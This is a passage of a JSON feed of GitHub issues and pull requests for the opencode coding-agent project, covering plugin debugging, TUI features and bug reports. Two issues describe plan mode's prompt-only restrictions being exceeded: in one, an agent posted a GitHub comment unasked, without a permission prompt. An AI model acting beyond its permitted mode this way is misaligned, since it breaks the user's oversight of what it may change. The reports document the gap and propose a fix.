`noExternal: [/@scope/]` so the workspace dependency is **inlined** into the artifact; - `exports` repointed to `dist/*/index.mjs`. Verification of the self-contained artifact: - `dist/<name>/index.mjs` contains inlined trace-light (3×) + a local chunk for framework-keywords — **no `from \"@scope/...\"` external reference**. - Node 24.14 and Electron Node 24.15 both import the dist and execute → `ok:true`. - Full `applyPlugin` simulation (readV1Plugin detect → getLegacyPlugins → server()) succeeded for **all 5 shims** under Electron Node. → Code layer fully fixed; still not visible in the **pre-existing GUI session** after restart → moved to the session layer. ### 4.6 Layer 3 — session-scoped tool list snapshot Queried the SQLite store (`opencode.db`, `session` table) and compared session creation time vs. the fix time: | Session | Created | `todo-sync` in tool list | |---------|---------|:---:| | \"current conversation\" (created **before** fix) | 21:18 | ❌ | | new session (after fix) | 22:14+ | ✅ | → **The GUI session tool list is captured when the session is created.** Restarting the GUI and *continuing the old session* does not refresh the tool list; a **new session** picks up the fixed plugin. ### 4.7 Final verification A brand-new session (`opencode run`) and a new GUI session both: - list `todo-sync` in the tool list; - call it successfully → `ok:true`, expected count, latest task id; - push todos to the GUI board (task recorded a `todo-sync` trace event). --- ## 5. Root causes & fixes (summary) | # | Root cause | Fix | Verified | |---|-----------|-----|:---:| | 1 | Extension-less relative imports rejected by Node | Explicit `.ts` extensions | ✅ | | 2 | Workspace dep not bundled → unresolved `@scope/...` at runtime | Self-contained dist via `tsdown` `noExternal` | ✅ | | 3 | GUI session tool list is a create-time snapshot | (workaround) open a **new session** after plugin changes | ✅ | --- ## 6. Recommendations ### 6.1 For plugin developers 1. **Always use explicit file extensions** in relative imports (`.ts`). bun tolerates extension-less imports; Node does not. Treat \"Node direct-load\" as the lowest common denominator. 2. **Ship a self-contained dist** for plugins that depend on workspace packages — inline those deps (`noExternal`) so the runtime never has to resolve the workspace chain. 3. **Validate against the GUI loader**, not only bun: simulate with `ELECTRON_RUN_AS_NODE=1 \"<app>/Contents/MacOS/OpenCode\"` + `import()` of the shim. ### 6.2 For opencode maintainers (suspected behavior/bug) - **Session tool list snapshot**: after a plugin (or its deps) changes, a pre-existing session still shows the old tool list — even after the app is restarted and the session is resumed. It would be very helpful if the session tool list were **refreshed on plugin change** (or re-injected on session resume), instead of captured at creation. - Diagnostic hints that helped us: - `opencode debug agent <agent>` shows the config-layer declaration; - GUI `server.log` `MODULE_TYPELESS` warnings reveal which shims Node actually loads; - SQLite `session.time_created` vs. plugin-change time distinguishes \"stale session\" from \"plugin not loaded\". ### 6.3 On agent-driven debugging (why the report is this detailed) This investigation was driven by an AI coding agent (ABC-style workflow, human sets direction + accepts results). Highlights of the approach: - **Layered isolation**: CLI vs GUI, config layer vs runtime, code vs session. - **Environment parity**: obtained the GUI's exact Node via `ELECTRON_RUN_AS_NODE` to reproduce outside the app. - **Source-level ground truth**: extracted the app bundle to confirm the loading path instead of guessing. - **Data-driven session analysis**: used the SQLite store to timestamp sessions and discriminate \"stale snapshot\" from \"load failure\". Human guidance at two key points (check whether the workspace dep is bundled; suspect the session layer) directly hit two of the three root causes — pairing an agent that isolates fast with a human who points at the right layers converged in ~1 hour of wall time. --- ## 7. Reproduction steps (for maintainers) 1. Create a plugin shim in `.opencode/plugins/<name>.ts` whose source uses **extension-less relative imports** and imports a **workspace package** at `src/...` paths. 2. Run in CLI → tool works. 3. Open in the GUI desktop → tool missing from the session tool list; `server.log` shows no load warning for that shim. 4. Fix: add `.ts` extensions + build self-contained dist; restart the app; **continue the old session** → tool still missing; **open a new session** → tool appears and works. ## 8. Expected behavior - Plugin changes should be visible in a resumed session (refresh or re-inject), or at minimum be documented clearly so developers know a new session is required. - Plugins should be loadable with a consistent minimal baseline across CLI (bun) and GUI (Electron Node) runtimes. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42343",
          "createdAt": "2026-08-13T15:01:15Z",
          "updatedAt": "2026-08-13T17:19:54Z",
          "timestamp": "2026-08-13T17:19:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "zysam",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c3cc021e97ae9fb82111",
        "signalId": "github:anomalyco/opencode:pull_request:41342",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41342",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): label worktree session tabs",
          "text": "## What Show a worktree session's branch on the existing project detail row in vertical tabs. - worktree tabs render as `project ⎇ branch` - main-checkout tabs retain the existing project-only label - missing location or VCS data falls back to the project-only label - long detail rows fade at the right edge without an ellipsis ## How - `session-tabs.tsx` compares each resolved location's checkout directory with its canonical project directory, then composes the project and branch labels. - `session-tabs-model.ts` owns the worktree/default-branch visibility rule and detail formatting. - `context/session-tabs.tsx` hydrates location and VCS metadata for each persisted tab after session metadata resolves. - Existing location-scoped VCS events keep the displayed branch current after checkout. ## Scope This only changes vertical tabs. Horizontal tabs do not have a second metadata row. It does not add workspace controls or change desktop behavior. ## Testing - `bun run test test/context/session-tabs-model.test.ts test/context/session-tabs.test.tsx` in `packages/tui`: 40 passed - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 692 passed, 5 skipped - workspace `bun turbo typecheck --concurrency=3` via the push hook: 34 packages passed - live PTY verification with `bun run dev:live` confirmed external Git worktrees render the branch while main checkouts remain project-only ## Demo Storybook fixture showing the unchanged main-checkout label, the new worktree label, and long-label fading: ![Vertical session tabs showing project and worktree branch labels](https://github.com/user-attachments/assets/e6ffb9b9-84de-43e7-aa5e-a0078e96ff7a)",
          "url": "https://github.com/anomalyco/opencode/pull/41342",
          "createdAt": "2026-08-09T00:40:15Z",
          "updatedAt": "2026-08-13T17:19:16Z",
          "timestamp": "2026-08-13T17:19:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:c87506fa409f2ed257d1",
        "signalId": "github:anomalyco/opencode:issue:42320",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42320",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Opencode hangs after model selection with opencode-go/minimax-m3",
          "text": "### Description I subscribed to Opencode, but in my environment the app hangs when sending a request to the model. The local installation appears to start normally, and the provider credentials are available, but once the model is selected the request never returns a response. Environment: OS: Linux Shell: bash opencode version: 1.18.18 Provider: opencode-go Model: minimax-m3 ### Plugins oh-my-opencode-slim ### OpenCode version 1.18.18 ### Steps to reproduce Run opencode providers list Confirm that credentials are present Run: `opencode --print-logs --log-level DEBUG -m opencode-go/minimax-m3 run \"hello\"` Observe that the process reaches the model selection stage and then stalls without returning any result Expected behavior: The model should respond normally to the prompt. Actual behavior: The request hangs after llm runtime selected and stream providerID=opencode-go modelID=minimax-m3 The process must be manually interrupted Exit code is 130 ### Screenshot and/or share link timestamp=2026-08-13T12:25:56.269Z level=INFO run=a05ce97c message=\"creating instance\" directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.270Z level=INFO run=a05ce97c message=fromDirectory directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.282Z level=INFO run=a05ce97c message=bootstrapping directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.286Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/config.json timestamp=2026-08-13T12:25:56.287Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/opencode.json timestamp=2026-08-13T12:25:56.291Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/opencode.jsonc ... timestamp=2026-08-13T12:25:57.171Z level=INFO run=a05ce97c message=stream providerID=opencode-go modelID=minimax-m3 session.id=ses_004e9e886ffeLm52lnnnJmwVSn small=true agent=title mode=primary timestamp=2026-08-13T12:25:57.185Z level=INFO run=a05ce97c message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=minimax-m3 timestamp=2026-08-13T12:26:00.576Z level=INFO run=a05ce97c message=process session.id=ses_004e9e886ffeLm52lnnnJmwVSn messageID=msg_ffb161892001zWeIGHL9kXu82k timestamp=2026-08-13T12:26:00.577Z level=INFO run=a05ce97c message=stream providerID=opencode-go modelID=minimax-m3 session.id=ses_004e9e886ffeLm52lnnnJmwVSn small=false agent=orchestrator mode=primary timestamp=2026-08-13T12:26:00.578Z level=INFO run=a05ce97c message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=minimax-m3 ### Operating System WSL:Ubuntu ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42320",
          "createdAt": "2026-08-13T13:04:59Z",
          "updatedAt": "2026-08-13T17:19:01Z",
          "timestamp": "2026-08-13T17:19:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "zlzhangn",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ae144efb7316eb416dc5",
        "signalId": "github:anomalyco/opencode:pull_request:42357",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42357",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): navigate into directories in the open project dialog",
          "text": "### Issue for this PR Closes #38338 Rebase of #38345 by @razzeee onto current `dev`, opened with their permission (https://github.com/anomalyco/opencode/pull/38345#issuecomment-5280628324). Original commit and authorship preserved. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The Open Project dialog immediately resolved and closed when clicking a suggestion or pressing Enter, making it impossible to navigate into a subdirectory and continue. There was also no explicit confirm action. - Tab and Enter now navigate into the highlighted directory (appends `/` and refetches) instead of confirming - Clicking an item also navigates in rather than immediately opening the project - Added Cancel and Select Folder buttons in the footer - Ctrl/Cmd+Enter or the button confirms the current path - Enter with no item highlighted confirms the current filter path directly **This also fixes opencode web, not just desktop.** Both go through the same `DialogSelectDirectory` (`directory-picker.tsx` falls through to the legacy picker for web), so before this change the only way to descend on web was the undiscoverable Tab shortcut — and on touch devices there was no way at all short of typing the full absolute path. The scope in the title is `app` rather than `desktop` for that reason. Rebase notes: the only conflict was the import hunk, resolved by keeping both the `Path` type import and the expanded `directory-picker-domain` import. `onSelect` had not changed upstream since the original branch point. ### How did you verify your code works? Tested locally on `opencode web` in a browser: clicked into nested directories, navigated with Enter and Tab, went back up, confirmed with both the Select Folder button and Ctrl+Enter. Verified backspace still works normally in the input, and checked the footer at a narrow (mobile) viewport. ### Screenshots / recordings https://github.com/user-attachments/assets/79b5a3a8-3457-4102-9b1b-dd0b65a9d0f4 https://github.com/user-attachments/assets/4c9a8308-fb97-4537-9616-f4f93aa8d42f ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42357",
          "createdAt": "2026-08-13T16:32:56Z",
          "updatedAt": "2026-08-13T17:17:29Z",
          "timestamp": "2026-08-13T17:17:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "BongHwi",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:3cbe4f35e2628644f706",
        "signalId": "github:anomalyco/opencode:issue:42369",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42369",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: add right sidebar showing background activities (running subagents)",
          "text": "## Summary Feature request: show background activities (running/background subagents) in a **right sidebar** in the TUI — a live list with status, expandable to preview the subagent's last message and see its model. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin arm64 - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found ## Proposal Add a right-side panel in the TUI that lists all running (and optionally recently finished) background subagents: - Each entry shows the subagent name, a live status/spinner, and the model it runs with. - Entries are expandable to show the subagent's latest message / detail. - The panel is persistent while background tasks run, so the user does not lose the main-thread context. ## Motivation When the main agent spawns multiple background subagents in parallel (orchestration), there is currently almost no visibility in the TUI: the main thread only shows a status line for running background subagents, the model is not shown anywhere, and there is no live preview of the subagent's last message. ## Acceptance Criteria - TUI shows a right sidebar listing running background subagents with name + status/spinner + model. - Entries are expandable to preview the subagent's last message. - Optionally, recently finished tasks remain listed briefly with their final status. ## Related - #42367 — tui: subagent model not shown anywhere - #42368 — tui: no live preview of running subagent's last message",
          "url": "https://github.com/anomalyco/opencode/issues/42369",
          "createdAt": "2026-08-13T17:12:13Z",
          "updatedAt": "2026-08-13T17:15:22Z",
          "timestamp": "2026-08-13T17:15:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "reisi007",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:d8270df0a3803dfa1887",
        "signalId": "github:anomalyco/opencode:pull_request:42360",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42360",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(drive): serialize unfocused UI state",
          "text": "## What Keep OpenCode Drive responsive when the TUI has no focused renderable. Drive currently hangs on its first `ui.state` request for full-screen plugin routes such as Storybook. The state object includes `focused.renderable: undefined`, which cannot be encoded as JSON. Encoding defects the control-server response fiber, so the client waits until its 30-second timeout. ## Before / After **Before** 1. Drive launches a headless TUI with no focused renderable. 2. The client sends `ui.state` after the simulation handshake. 3. The server builds a state containing nested `undefined`. 4. `JsonRpc.success` rejects the non-JSON value and sends no response. 5. Drive exits with `ui.state timed out after 30000ms`. **After** 1. An absent focused renderable is omitted from the state object. 2. The state remains valid against the existing optional protocol field. 3. JSON-RPC encoding succeeds and Drive can continue controlling the TUI. ## How - `packages/simulation/src/frontend/actions.ts` conditionally includes `focused.renderable` only when one exists. - `packages/simulation/test/actions.test.ts` covers the unfocused state shape. ## Testing - `bun test test/actions.test.ts test/frontend-server.test.ts` from `packages/simulation` (10 passing) - `bun typecheck` from `packages/simulation` - Commit hook: `bun turbo typecheck --concurrency=3` (34 tasks passing) - End-to-end: the previously failing Drive script completed and produced the recovery-panel recording attached to #42353.",
          "url": "https://github.com/anomalyco/opencode/pull/42360",
          "createdAt": "2026-08-13T16:47:13Z",
          "updatedAt": "2026-08-13T17:15:01Z",
          "timestamp": "2026-08-13T17:15:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:11efaf7d8cce7706ad50",
        "signalId": "github:anomalyco/opencode:pull_request:42365",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42365",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs(go): use responses endpoint for Grok 4.5",
          "text": "## Summary - document Grok 4.5 on OpenCode Go using the Responses API endpoint - update the corresponding AI SDK package to `@ai-sdk/openai` ## Checks - `git diff --check` Relates to #40206 Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42365",
          "createdAt": "2026-08-13T17:04:03Z",
          "updatedAt": "2026-08-13T17:13:11Z",
          "timestamp": "2026-08-13T17:13:11Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:2cd8ceec0cad60c197f8",
        "signalId": "github:anomalyco/opencode:issue:42367",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42367",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: subagent model not shown anywhere",
          "text": "## Summary In the TUI, the model used by a subagent is not displayed anywhere: neither in the subagent's block in the main thread, nor in the task/session list, nor in the subagent detail view. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin 25.6.0 (arm64) - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found (no `opencode.json`/`opencode.jsonc` in cwd or `~/.config/opencode/`, no `.opencode/plugin(s)`) ## Reproduction 1. In a session, spawn a subagent (foreground or background). 2. Inspect the subagent's block in the main thread, the task/session list, and the subagent detail view. 3. Nowhere is the model the subagent runs with displayed — only its name/status. ## Expected Behavior The subagent's configured model should be visible wherever the subagent is shown (main thread block, task/session list, detail view). ## Actual Behavior The subagent model is not displayed anywhere. Expanding the subagent block does not reveal it. ## Additional Context Observed while orchestrating multiple parallel subagents from the build agent. Consistent/reproducible, not intermittent. No workarounds found.",
          "url": "https://github.com/anomalyco/opencode/issues/42367",
          "createdAt": "2026-08-13T17:09:51Z",
          "updatedAt": "2026-08-13T17:12:50Z",
          "timestamp": "2026-08-13T17:12:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "reisi007",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:4d0a801b5ac996bcf5b1",
        "signalId": "github:anomalyco/opencode:issue:42368",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42368",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: no live preview of running subagent's last message",
          "text": "## Summary In the TUI, while a subagent is running in the background, there is no live preview of the subagent's last message in the main agent thread — the step shows only its status/spinner. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin 25.6.0 (arm64) - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found (no `opencode.json`/`opencode.jsonc` in cwd or `~/.config/opencode/`, no `.opencode/plugin(s)`) ## Reproduction 1. Start a background subagent. 2. In the main agent view, watch the running subagent step. 3. No live preview of the subagent's last message appears while it is running. ## Expected Behavior While a subagent is running, the main agent thread should show a live preview of the subagent's latest message. ## Actual Behavior A running (background) subagent shows no preview of its last message in the main thread — only status/spinner. ## Additional Context Observed while orchestrating multiple parallel subagents (implementers + verifier) from the build agent. Consistent/reproducible, not intermittent. No workarounds found.",
          "url": "https://github.com/anomalyco/opencode/issues/42368",
          "createdAt": "2026-08-13T17:09:52Z",
          "updatedAt": "2026-08-13T17:12:47Z",
          "timestamp": "2026-08-13T17:12:47Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "reisi007",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:5ebe6b1e561127cc6c21",
        "signalId": "github:anomalyco/opencode:issue:42013",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42013",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "error: Free usage exceeded, subscribe to Go",
          "text": "### Description The day before yesterday, I started using the OpenCode DeepSeek V4 Flash Free model via OpenCode Zen. At first, everything worked. At about 3 a.m., I went to bed. Today I decided to try it and it doesn't work for me now. The error is given by Free usage exceeded, subscribe to Go. I thought I had a problem with my account, so I changed my account. For the first few minutes, I thought I had fixed it, but no. Still the same mistake. What should I do? My friend doesn't have such a problem. ### Plugins nothing ### OpenCode version 1.18.16 ### Steps to reproduce I have already written before ### Screenshot and/or share link <img width=\"1103\" height=\"607\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8d26bfd2-9869-488a-9894-7efaa15a5a67\" /> ### Operating System Windows 11 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42013",
          "createdAt": "2026-08-12T11:57:49Z",
          "updatedAt": "2026-08-13T17:08:26Z",
          "timestamp": "2026-08-13T17:08:26Z",
          "metrics": {
            "reactions": 4,
            "comments": 9
          },
          "labels": [],
          "author": "Top1Nuk1",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:44975750f861f0db25e8",
        "signalId": "github:anomalyco/opencode:issue:31657",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31657",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:Clear session context without creating a new session",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Problem Currently, /new (alias /clear) creates a brand new session with a new session ID. In Claude Code, /clear stays in the same session but clears the conversation context/history, allowing a fresh start without losing the session identity. Proposed Solution Add a command that: 1. Clears all messages in the current session 2. Keeps the same session ID 3. Results in an empty conversation, ready for a new prompt Use Case When working on a task and the conversation gets too long or off-track, I want to reset the context without switching to a completely new session. This is useful for: - Keeping session continuity (same session ID for sharing/history) - Quickly starting fresh without the overhead of creating a new session - Matching the workflow of Claude Code users Alternatives Considered - /compact — summarizes but doesn't truly clear context - /new — works but creates a new session, losing session identity Additional Context This is a standard feature in Claude Code and would greatly improve the workflow for users migrating from or using both tools.",
          "url": "https://github.com/anomalyco/opencode/issues/31657",
          "createdAt": "2026-06-10T10:08:06Z",
          "updatedAt": "2026-08-13T17:07:04Z",
          "timestamp": "2026-08-13T17:07:04Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "ouyangfangyuan",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:296d2304732fb36cb85d",
        "signalId": "github:anomalyco/opencode:issue:34390",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:34390",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Bug: Plan mode allows creating GitHub issues via gh CLI",
          "text": "## Description While in Plan Mode (read-only), it is possible to create GitHub issues using `gh issue create` and make API calls via `gh api`/curl. This violates the constraint that Plan Mode should be read-only. ## Steps to Reproduce 1. Be in Plan Mode 2. Run any of: - `gh issue create -R <repo> --title \"test\" --body \"test\"` - `curl -X PATCH -H \"Authorization: ...\" \"https://api.github.com/repos/user/repo/issues/1\"` - `gh issue comment <id> -R <repo> --body \"...\" ` 3. The actions succeed — no read-only enforcement ## Expected Behavior Plan Mode should reject write operations — at minimum, Git/API pushes and issue/PR creation. ## Actual Behavior All operations complete successfully. The only restriction is a user-facing message that reads \"I am in Plan Mode\" but no actual enforcement. ## Environment - Linux Mint 22.3 (Zena) - GitHub CLI 2.x - opencode: latest (from git)",
          "url": "https://github.com/anomalyco/opencode/issues/34390",
          "createdAt": "2026-06-29T05:13:30Z",
          "updatedAt": "2026-08-13T17:06:17Z",
          "timestamp": "2026-08-13T17:06:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "sporteka2",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:5feb55e08441bf3c8e2c",
        "signalId": "github:anomalyco/opencode:issue:34190",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:34190",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Agent bypassed Plan mode restrictions and posting a GitHub issue comment via gh",
          "text": "### Description I was in plan mode working, and my agent ran `gh issue comment` and posted a reply directly on the issue which I'm working on — without being asked to, without switching to build mode, and without triggering any permission prompt. ### Root cause The plan mode system prompt explicitly says: > Do NOT use sed, tee, echo, cat, or ANY other bash command to manipulate files — commands may ONLY read/inspect. The bash tool is not restricted in plan mode at the permission level. Plan mode only denies `edit`/`write`/`apply_patch`. `bash` inherits the default `allow` and has no code-level enforcement — all restrictions are prompt-only. There is no command allowlist or blocklist. `gh issue comment` and some other commands do not modify local files, so it falls into a grey area that the prompt does not explicitly cover. The model interpreted \"only read/inspect\" narrowly (local filesystem only) and considered a remote state change via GH CLI as acceptable. ### Suggested fix Add a **bash command allowlist** for plan mode. Only commands on the allowlist can execute when the plan agent is active. ### Related issues Existing plan mode issues (#25263, #19094, #28467) focus on local filesystem writes. - #25263 — File write executed in plan mode (local files) - #19094 — Plan mode agent executes file-creation via bash - #28467 — Bash commands can write files in plan mode ### Plugins N/A ### OpenCode version 1.17.11 ### Steps to reproduce 1. Work in plan mode 2. The agent runs read-only `gh` commands to inspect issues or PRs — no issues, nothing is blocked 3. At some point the agent autonomously runs `gh issue comment`, posting a reply directly on the issue 4. Throughout the entire process: no mode switch, no permission prompt, no interception ### Screenshot and/or share link _No response_ ### Operating System Windows 10 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/34190",
          "createdAt": "2026-06-27T07:57:20Z",
          "updatedAt": "2026-08-13T17:06:16Z",
          "timestamp": "2026-08-13T17:06:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "dsy122",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:1e55cf079a550a594041",
        "signalId": "github:anomalyco/opencode:issue:37560",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:37560",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "GitHub Action replies in the PR conversation instead of the triggering comment in review thread",
          "text": "### Description In GitHub, when opencode is triggered (by `/oc` or `/opencode`) from an inline review comment (`pull_request_review_comment`), the \"👀\" reaction is correctly placed on that **inline comment**, but the reply is posted to the **PR Conversation** as a separate top-level comment. The review thread itself (the inline comment) gets no reply. related issues / PRs: - same report, closed automatically: #26691 - closed automatically #26689 - new feature, broader request to post inline review comments: #13918 ### Plugins none ### OpenCode version 1.18.3 (by anomalyco/opencode/github@latest) ### Steps to reproduce 1. Add the standard workflow generated by `opencode github install` 2. Open a PR and go to the **Files changed** tab 3. Click **+** on a line to add an inline comment, eg. \"/opencode why create a new function?\". Also reproduces with file-level comments (\"Comment on this file\"). 4. Wait for the workflow to finish Actual: the 👀 reaction is added to the inline comment, but the reply appears in the PR Conversation (the **Conversation** tab) Expected: the reply appears in that inline comment. ### Screenshot and/or share link none ### Operating System ubuntu-latest (GitHub Actions runner) ### Terminal none",
          "url": "https://github.com/anomalyco/opencode/issues/37560",
          "createdAt": "2026-07-17T21:14:55Z",
          "updatedAt": "2026-08-13T17:06:13Z",
          "timestamp": "2026-08-13T17:06:13Z",
          "metrics": {
            "reactions": 5,
            "comments": 2
          },
          "labels": [],
          "author": "chAwater",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:90f14d2f1de3a68322a1",
        "signalId": "github:anomalyco/opencode:issue:36504",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:36504",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "GitHub Action: per-message agent override on session.chat() is ignored when session created without a default agent",
          "text": "### Description The `anomalyco/opencode/github` Action's `agent` input is silently ignored — the model always responds using the default (`build`) agent instead of the one configured. Confirmed this is **not** a general agent-resolution bug: `opencode run --agent <name>` (same `opencode` version, run manually) applies the agent correctly. The bug appears isolated to the code path used by `github/index.ts`. ### Plugins None ### OpenCode version 1.17.18 ### Steps to reproduce 1. Define a project-level primary agent, e.g. `.opencode/agents/my-custom-agent.md`: ```yaml --- description: \"Custom agent for testing\" mode: primary --- You are a custom test agent. Always mention \"CUSTOM_AGENT_ACTIVE\" in your first reply. ``` 2. Add a workflow step invoking the Action with that agent: ```yaml - uses: anomalyco/opencode/github@latest with: model: <provider>/<model> agent: my-custom-agent ``` 3. Trigger the workflow via an `issue_comment` event (e.g. commenting `/oc do something` on an issue). 4. In the job logs, confirm the composite action step logged the env var correctly: ``` AGENT: my-custom-agent ``` 5. Inspect the full job log for `stream {...agent: ...}` entries — observe that `agent` is always `\"build\"`, never `\"my-custom-agent\"`. 6. Grep the full log for the two possible fallback warnings from 